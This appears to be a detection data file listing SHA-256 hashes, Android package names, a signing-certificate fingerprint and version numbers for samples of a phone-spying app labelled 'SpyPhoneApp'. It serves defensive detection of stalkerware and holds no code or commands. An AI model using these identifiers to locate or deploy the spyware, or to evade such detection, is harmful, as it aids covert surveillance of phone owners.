+3d9a193f6a9067b21032db11b8c1db2e2c8c32099d763f7ec96acc65f00f7286,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,124,SpyPhoneApp +f7c3d3ce0b1f56fce9a4dce38c69df0377c7e5c5f2440335a4108f9a9c33d3d7,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,3,SpyPhoneApp +e650f370cd0b02dfdee4b3b1479f62d28ddce7611751db3af6811b5fbb4389ef,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,49,SpyPhoneApp +1df055fd523073863d664421b311a01c4343d4f5587027425ed6644d62e6babc,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,31,SpyPhoneApp +1709bac275ac6e89607756c2d5591bcd6c91d769fd88b98753f806ec2b40ecd9,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,106,SpyPhoneApp +aa6a6bcb6cd0fe2f2b38bf25f07230b25318d1a5b03e2e4c532511065aa320a3,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,157,SpyPhoneApp +f61b082a1ba7ca18c915ec0ba7bc2fb5a925264147314ed694d0fbdd62568153,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,59,SpyPhoneApp +5767f69b110a2c2900f6a307002b661d8868934e082dd0114a141da315f142f7,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,193,SpyPhoneApp +d4afbec9afda9b56b0762a2a6a0e8e37d5110e7095b7453c8bf4ac012ea331bd,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,176,SpyPhoneApp +2c86e08eb26492a6934174981e4abdfb32f823446f50ec418e4613dbf95fd6a2,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,83,SpyPhoneApp +103168909a5e5b626b1d77eff4c3a7262f48ed93915c96496c1eb56af669e921,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,38,SpyPhoneApp +0b70317cbb1e0149108b78b2da741f0dc1283c0c55a4e83e3601e4feb8147b5b,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,24,SpyPhoneApp +629d3d4c64c644583a1a35cb162843625c7dcbf4911bcb3cbe319e4685304a8f,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,46,SpyPhoneApp +4a53df9fc7e33bec85c7c592da63245864335f4d133c820513570c4463d9bcb5,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,32,SpyPhoneApp +89ec89ec8859545437beec1c3e07e4c15723d0df0b79fdd4c67a6f327f558a8d,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,177,SpyPhoneApp +f28a68d14631d70b3d463a196e3d007e96853b57f62cfeb646884c7bb46bcb7c,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,165,SpyPhoneApp +1cefce4824352ae240a0b2d381a6c8a5ef0bd20a51a23c9c8420bf70a17c54de,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,39,SpyPhoneApp +be4e8761608e9436c78988a3d288312b4ca733179c22ef504218bf7e3032b36b,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,105,SpyPhoneApp +e16b4af407118a5f0256cbd9a5d271f9aa4420bca01b7d9eccbe4ae6f3685198,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,65,SpyPhoneApp +b196afa9834363920e62b421c7d9bf9695b274b4eebaa7edbb9cd650d2cb952e,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,184,SpyPhoneApp +1e19f6b265f4e42b3dbd98f11cbeaf366739f6b2f75509d01162266ffac9e6ea,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,81,SpyPhoneApp +1cbb22309a0f76a60ca6e2c586b182b758b57463a3731900687eaeddb86ef540,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,52,SpyPhoneApp +b75f4ffe1267e2b0d0da7a9703669a631b1152e952519c3d1bd35d92e2a61607,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,112,SpyPhoneApp +2e5fb4a6d873e12ecef387d2c2b0fa6cb1ed022dcf4fecf73c76e305344fa6d2,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,159,SpyPhoneApp +d3a207a9ad86169183f2222ccaac898ed2d88ee29dcbbfde24f821c1cf324e39,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,64,SpyPhoneApp +a25522eb8d356bcb2a98dd2f013002e76795f41ffc3dff7cc2ebb542b5919cf2,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,13,SpyPhoneApp +ddc1acc748d908bfbc04ee792c2e3cd07795f8528bf9229a0350b6627c33e848,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,68,SpyPhoneApp +c95f211dfd1fce7214b46fa2a70c699d136eb7249f5889b9c960b1c400862adf,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,90,SpyPhoneApp +870f9b6681b9fc5f865c4c2af7770f956d7c301160f7520f6abd0523ba0c0f3c,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,50,SpyPhoneApp +4f47e23ab070335c456242be99382fd0e4a210b4fa2f48abe798b032e1893abd,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,50,SpyPhoneApp +c82a7f8f31f38dcbda4c632f42489385b523bfebdc6a959a61b9a38b8d36bf42,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,183,SpyPhoneApp +a6862e54ad16d6cfe8682504a1397d5f129a35455062fb18fdd2d06abc54d65a,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,9,SpyPhoneApp +8f6eaeba4fd9f4b0ba71960eddb8909eb500cfe0792270510924956fac6fccb5,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,61,SpyPhoneApp +81b66d6cf555055361d8f797a31d2c21a9848479d8bffefd75302abb52c74ec9,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,73,SpyPhoneApp +6536299186ffc8652c757a02baad87d96d8a2642282e962528e63a407781d89b,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,137,SpyPhoneApp +4631a0be146eef461b07e69e6319ac70cccb7cebf3631187b6e2ebc22c1d938c,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,65,SpyPhoneApp +90e0558a36685d8aa7344c0cf61909792ed2f15eb982e2609c2a7f255989c8ff,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,74,SpyPhoneApp +e5ae8c92eefa4444bcf0b54d895829797eff18a73f8ca8d49079a8d65559a612,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,85,SpyPhoneApp +6d66d2ad6f762a59ddffbdb11f580c8a4a5a679453e305152b1b9d53328bb179,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,164,SpyPhoneApp +7b0f927fa0f3253aaac7c15499c477d22b1d8b5e69f443d16abbf16441a5549e,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,56,SpyPhoneApp +83fbd26daccf396f265aeeeab7f96d96f316f4a2fa720142f436b63d6a1e3259,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,115,SpyPhoneApp +44eae4482460f0de30ded0605c3da8c24b09cada7d63dba34430b4e71a561089,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,6,SpyPhoneApp +0b932f64bfa8b42d53c3fd8b6e2891181b7b22ee8c0494effb637105228191c9,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,154,SpyPhoneApp +8377e4e20e1c2e2076f3422e804101cf6b13a88af1a89c47cd582d32919e0360,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,24,SpyPhoneApp +be2443d5b3f28feeafd6ecaee6947e6e7079f71d32b3b7debe6a91bf8c726fbf,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,122,SpyPhoneApp +ad36bf9006aaa05e9f46591d4ad0cf78971726d1c93a02d59512090a9134b20c,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,78,SpyPhoneApp +26c0cb46a5dda9d2828a1727a0b92e1fc576924dec69b0495785ff0ac34c437f,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,41,SpyPhoneApp +2139e569cac6a34d417bf07d1fd118081675d85e1f4eba751a5ed539729988be,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,91,SpyPhoneApp +32c8d7d418badddbdb30bd4917138d7f21f1920233f3f67d2f4f0b6476d02e59,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,94,SpyPhoneApp +58e38a769eb9710251042b9a15b70e8f2cd476170e22fff63c97ba8cca263418,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,47,SpyPhoneApp +31c8e60d8cbe5a82e86d28a43829659f212e0d40a7fed4c4997714240452edc2,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,153,SpyPhoneApp +a3512ba4341d0ec9a6365ed00310cbc9808c49325f37fb6356b9f6fe135c5085,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,175,SpyPhoneApp +2928168521a5058942eab3fcbcf202178f0e7620919f914da111e867b3c03a21,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,36,SpyPhoneApp +79397d86c27b9a48f7e63f52561907b06b8f63e099cc552b885be4efd6a6caa5,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,70,SpyPhoneApp +1e4c545a76aa8ac403f288480e1fec578f699e24bb88e26e6c43614bf32dd6c2,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,55,SpyPhoneApp +c0e1939bead0f2bc4c8095aa4726d2f7f9ee5ad51ee358ea7582991bebbc28b1,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,78,SpyPhoneApp +4acd6f5bc13eb8b987e11cdbc60e448dbec2bba7448360776bbd3375389b3349,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,67,SpyPhoneApp +6e2a7536f5a094b4bf415ff766313f3ccd8ec147ae73f677690f533a12f79e55,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,22,SpyPhoneApp +5e0987bcefdf439fe6a841768db67f219179693f7068cf4b74d553b06f987707,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,30,SpyPhoneApp +fbac144cac26439c9293f2bb1489957dca1351e8918ae2373b53040b9a9a4faa,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,104,SpyPhoneApp +1791a3325085fdcc7714ee4ecb3cbe269558e0bb7e63ecfbd481310672471036,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,128,SpyPhoneApp +2f078e3e9b7a96be811ab5c12d766ebefdc76ab9b5c02a38acbc91c0455258c1,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,144,SpyPhoneApp +6b2473541272180ee6d6b311e093cebfd9ae63dda4e640297b425c15963d2f21,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,130,SpyPhoneApp +70537eabca1944ec239221466d1fb0ccead13fe6cedc6b18f637fa927bd9d1ba,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,96,SpyPhoneApp +3fbfd0d6b01c4fc8e6760a37b47fc960236448171b11cac1f17ee7229b51fb44,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,114,SpyPhoneApp +a4200f119e4adaa23436dd6ea25571aa51309457a21fad3f9816ef2e537a8245,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,17,SpyPhoneApp +b5d7104647d90441d6cf147ab943e5d9cff8361a4eaae5f5031f1c3cf8648abd,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,26,SpyPhoneApp +ae908a5055c5e0d858645bab25ece364d6930031ab3975155d6c09526dd0f11b,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,19,SpyPhoneApp +3b34db953db61ba6e49607e0cb36dcbe36993f423cf096309cc857147ac44542,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,39,SpyPhoneApp +17920cc7a6376e196144994341b4821f48fc39b0cf131dc574c5c3f504ea2d8c,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,99,SpyPhoneApp +564496e1ecd19ca1ff23818e4255117189402407c7151c88f297e8de0f68d765,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,133,SpyPhoneApp +034f7f129ae80267e94678a5a9c5b5333075100b1464994b14ef13a93769e232,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,152,SpyPhoneApp +f28176e25d402c46f0a9a4099a9c8fdbe684607bb4843ac58f8812e7cb4a86e0,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,81,SpyPhoneApp +47bd745481f7fb660750d1ae807ba75e0438208a1ae52e3478dacb78e9da0006,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,30,SpyPhoneApp +215ad5f337c1b753f5ba4b00b7dfe71976d2f7a781cd0eb7dd778e625298b101,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,18,SpyPhoneApp +6b2ecb53eed14e4129c08bfbe477b9478221f5bda481a6a39f7b2d8daa888458,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,103,SpyPhoneApp +43f121b66bf5f0cab6940ef24491340de6efd027725ef63d7ea6cfa7cc0ec160,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,163,SpyPhoneApp +0c92917e6f6e15e65d0c3d7a36b584abb9e8ec9da45bba7a3816e039439bae38,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,13,SpyPhoneApp +2abb35cb341e9d3fa0eccc5046047fc8c2a720bdff96345660c7510e7f3ed82e,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,90,SpyPhoneApp +14b38aa028242947962da976198da300b7b0af4876da97f068098f93f314769a,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,97,SpyPhoneApp +fd1e9250b890860c58b26553cf87cdf8defe59bb12ca928009b43227b2c988cd,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,4,SpyPhoneApp +adcba2cac74787de4c38f42c2be04717725d5f85eb5d4a693717acc750fe65a2,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,66,SpyPhoneApp +845d1df7ca94493f746d5d1bbe702de5635143ad32b6a106d0e0c66e78313729,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,149,SpyPhoneApp +0db82562f4412a248751b2392bd32dcb91bb55f31d0d54e354a172e4430b84fc,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,141,SpyPhoneApp +d5b647bad40dbb2bda2b4afa8a4764434b86bca4771c417a88f287309b19026d,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,127,SpyPhoneApp +2dc422284737eef623f759955d55ced95f32454e076347e8cd41778fd8058cb4,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,63,SpyPhoneApp +76995bb264e10568116dc46136cca89ede77d915bdb0e469926afa7a6f1dc696,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,76,SpyPhoneApp +ba8d5fa4a1b42023eb2e88836d3b5deaa7db0625222b057e2f96f775e2140ea1,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,5,SpyPhoneApp +5934f112c69e2ac72522b2e45f907533ec747a9f4bdd9d9d68431a6f520eeb0a,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,19,SpyPhoneApp +b0ac8392d33f7596c2c182279ad603ca7a42d47f9f3e5cd48f8196cfd5dce159,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,115,SpyPhoneApp +35f8ccce467f18a0fefda35010a9695a00e3120cc77fd77461826f9c592e8ba0,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,90,SpyPhoneApp +a640c6c7f7f8b73f0abb63072c95a67b6b84250deeaeed6b98c7b2422169657e,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,42,SpyPhoneApp +45116bbc5ee3bd43ead04f4d24ea43f57c4f6040520ddb6cf3b0ef6406e672d6,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,25,SpyPhoneApp +77acc2ea27e3c5f6628355a28cf79f946769d1891cd6e87f26817dd466e7616e,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,131,SpyPhoneApp +2eecd6550df9851dd0564b1fa3a4d76d04edf17f20344724d847d8c691405598,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,33,SpyPhoneApp +2599a54cd2ddb160bd266f6fe07d8e9ec30026f539f0c6d28e584fca7752c5fa,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,111,SpyPhoneApp +dc3c22871c3b6874f109c123b6023edccf771db86d7ed2ee7db60b56f54c63f8,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,26,SpyPhoneApp +f7b9a4f380f85dbbab3d7548db29cd841811752708ff447e0d2e1674cc7c81af,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,29,SpyPhoneApp +2fc4bc56da6f6be23a94972cfe1f6deb018ed88d45479d148c3752922ee5efe4,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,121,SpyPhoneApp +eed1bbe50c15fc351c0b36d3d114beada5da5fd79c3d1cddee369bd07fd33b33,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,44,SpyPhoneApp +535b0e944d4495f9494e5c914594f3b5b6b71a9f9d5fded0f0b36ed8b2c7c8d3,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,43,SpyPhoneApp +74934adf14c2d3230b074e5f88da27fc0b3e149c56ee2edf721fa9eb32bf10ad,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,74,SpyPhoneApp +c84b2d12099e881a008814c4a3504e97fef91a555aa5ba4f69dc690d8a1bb12b,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,17,SpyPhoneApp +205bb401ec90c70fe39da655aa306ae01ed74fd496692e19aac3b787b7596d8f,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,54,SpyPhoneApp +d77c3e748a0520c399f5a403d3fee0cb57740497bacd285a80cb48159778488d,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,7,SpyPhoneApp +e25096a15acde0e653d476069529485e54c936539c316ac6d27f5666e01a29c4,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,52,SpyPhoneApp +b6fc2a8dc9fd413e35b09f25f7125fc1c3fdd1e7aa8117701c5bba704f846553,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,82,SpyPhoneApp +541b5294186230462b8898b2cacd97eb9170109f1bc3098ac1696852a5732720,com.phone_tra_app_spap.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,45,SpyPhoneApp +ee72fe4b278fcf70f54decb15a318bedb743bed5576d6f784f574827c1b08939,com.spatrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,100,SpyPhoneApp +11a7de1a0cadd32e4678416255291e458c741351158230830860734d2d64d679,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,173,SpyPhoneApp +b826dbf34d15d5ab8ed95b84e318b33fcc51130d6345d0d4a0b7b8c9ed889078,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,25,SpyPhoneApp +59ab0cc5b1a9df07c14a01356ea0973ff3559edbefc0b5c295cd97cac067270e,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,87,SpyPhoneApp +aa7e7a4af9d27088f579e79029ad68bfced4305bc1bff3e9a7b27fe71d1fa666,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,97,SpyPhoneApp +c3439c51463259c43d2898efdbad2fe7b01e1931bbad572441e1080fe643d00b,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,106,SpyPhoneApp +96c5e525d2f1e64c060c657b3b2c19bd7258b69eee12d00b7182790c9608127b,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,80,SpyPhoneApp +86a321cf03e78e6f00da9407c9f3550c24dab0a441e8b17cf672e81edff8bb88,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,127,SpyPhoneApp +2c617b714eacf8626c4bfb6688a29cdcce5e68d71fd66ad41f12f23a481368ee,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,120,SpyPhoneApp +317138c6c9ac61f4ea897af38a1564d3dcd30880020ca7dacc78b70bd397ebc6,com.phone_tra_app_sp.alert,26AF8554EE338D6969FAC51BF4DAC3186098056E,188,SpyPhoneApp +373685763d14dc7361a745ed2f75c50c8f52f07ced615a2c98434016dd766451,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,150,SpyPhoneApp +87de51d23823614324bf81bb3f161c9df9ad4125248c750f670eb085682a2fe1,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,82,SpyPhoneApp +49c49f29b891dbb58efca0330a60d4b58b324794a3f4d48f764198eff7f3e7e8,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,136,SpyPhoneApp +703fbfca4675a382ca95bf218408f3b80356cf02bd22b13535e317b54e5f8a64,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,83,SpyPhoneApp +95e61328b18e6e0284fdcc0ae7ba590d1dc7cb69606eedbbd6ee1bfa82e55d8b,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,84,SpyPhoneApp +08a61ce334fb22ad0fb6ff828e11bcbc4969950dae9532bf24d63a23b4141c6d,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,77,SpyPhoneApp +53c08379c24b331d404eb640e81366776d815c5eaa63a1e3f8e0c67e331fef2f,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,145,SpyPhoneApp +1a003d405f17a8b2693be99bf80f1765e13b8b0e98d7bde994e1390c5b758319,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,132,SpyPhoneApp +844880a3c36cad107868a516861df2be60dcd9747c0a364e6d2512ab0e33afa2,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,108,SpyPhoneApp +3183b3583892fc88ca0df08db257f1000034f0b8b05c8ae90d14515808a2d759,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,128,SpyPhoneApp +9e609321129db484b58dd632df2493af11791517ff7f49aee8b061f50542fe31,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,126,SpyPhoneApp +940523a4581857a3db71ee79a00e54dbac37ea3e778748573c0e6fda31a97e80,com.phone_tra_app_sp.alert,26AF8554EE338D6969FAC51BF4DAC3186098056E,101,SpyPhoneApp +e1262145ffeed61d340e61a97043ccad4e1eb1c6eb9e1e8c374bb148dce5931e,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,107,SpyPhoneApp +338cfbc4732e77a47b434ac899e57388e5b70737ab40ad6323197c98fd6db2c4,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,62,SpyPhoneApp +5e2050490ac0140780984c528dd0d05fbd82f2e90a18cda2e54b4ed3dbd45865,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,49,SpyPhoneApp +59b518619cc8c141be7834ea6ee17f251a5dd01c6b2fef5b11e307b47252192a,com.phone_tra_app_spa.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,44,SpyPhoneApp +b01b24f660ab4d03c3f4a5eeeab83b17215a544c0044b39110abacfc29c7c206,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,21,SpyPhoneApp +3cf5f78109ff842af53b425b0f4843b6e4cb14e54d690b4ac32f36356d5eb2f3,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,67,SpyPhoneApp +ff1bef0286f4c8ec2dba5c11c3e7292ba94de7f42226b137da291113c7887905,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,35,SpyPhoneApp +321d8c52eef9357a646606b171cac0afc9f06b2f2323ce0a55b19645dfe15879,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,23,SpyPhoneApp +c5436de45b447aa918fcf0bd9c7889e3b8ba67f35ba84674a98852809d5b25a4,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,37,SpyPhoneApp +93df66bac396653bbb529b8aae87a3cacfd0153c0dade097cf7ba8095f0a1e51,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,91,SpyPhoneApp +79d64a009b634761d747ad566ed740f5f656e99112380b02b590035dc3faa2c2,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,79,SpyPhoneApp +9802fbe92d73d608ce6702b825174c29d28b1e2112bb3362fb228ab38fada137,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,68,SpyPhoneApp +cb059a134929016e67ecdf414866cc3c4e88bf5e50dcfbbe842fe99187b49375,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,66,SpyPhoneApp +d1b5e337030f6919678f45177ce8962da9e07fca1ef92b0633b75c77acc86d4e,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,58,SpyPhoneApp +f7621c99fef651d4106366f9c40dfc088105c92c6deeba15ca0dabdb4f8a55d6,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,59,SpyPhoneApp +7c9d8441d0635e9b63aa25eaf2f1b7859bbd0e7ed83ef033d40d26add116a676,com.phone_tra_app_sp.alert,26AF8554EE338D6969FAC51BF4DAC3186098056E,139,SpyPhoneApp +9608d8f4e240e5e46d58bc41d754fd05624925cdda8cdbfe088dcf86f71e1038,com.phone_tra_app_sp.alert,26AF8554EE338D6969FAC51BF4DAC3186098056E,117,SpyPhoneApp +2aed477e002318fd9e0c1a7304f2f1124060af66175722aa7d67e932ef77687d,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,49,SpyPhoneApp +37360f260a1bc248256889b1c679367f74167451f18caccda3573b7ea304b50a,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,42,SpyPhoneApp +0e876dc2c58359989f61369bd107ef792bd11d19d74023296300f2799a8a8a30,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,46,SpyPhoneApp +7e1e42209e42031aeeee27f45f0173efc7da0b0d7784cb09f078ba275a73da70,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,45,SpyPhoneApp +ac1f4e10496781bb5e2ee76e5f4872f0dacf0b1de7ff28fce647c296db58e68a,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,32,SpyPhoneApp +18ede40421c034aaa6a9bd065358a4583a2b7ac0dba384222b4390a9af366042,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,33,SpyPhoneApp +5d843f6cb10c8d5014a108a3e066e958b99b27acd1abdcc0a349d7fb8dc0739e,com.phone_tra_app_sp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,20,SpyPhoneApp +87fe2d97ea733bf50ac80035b83bfc0472e0e998cd4c5c7652b75aa68fff85f5,com.phone_tra_app_sp.alert,26AF8554EE338D6969FAC51BF4DAC3186098056E,191,SpyPhoneApp 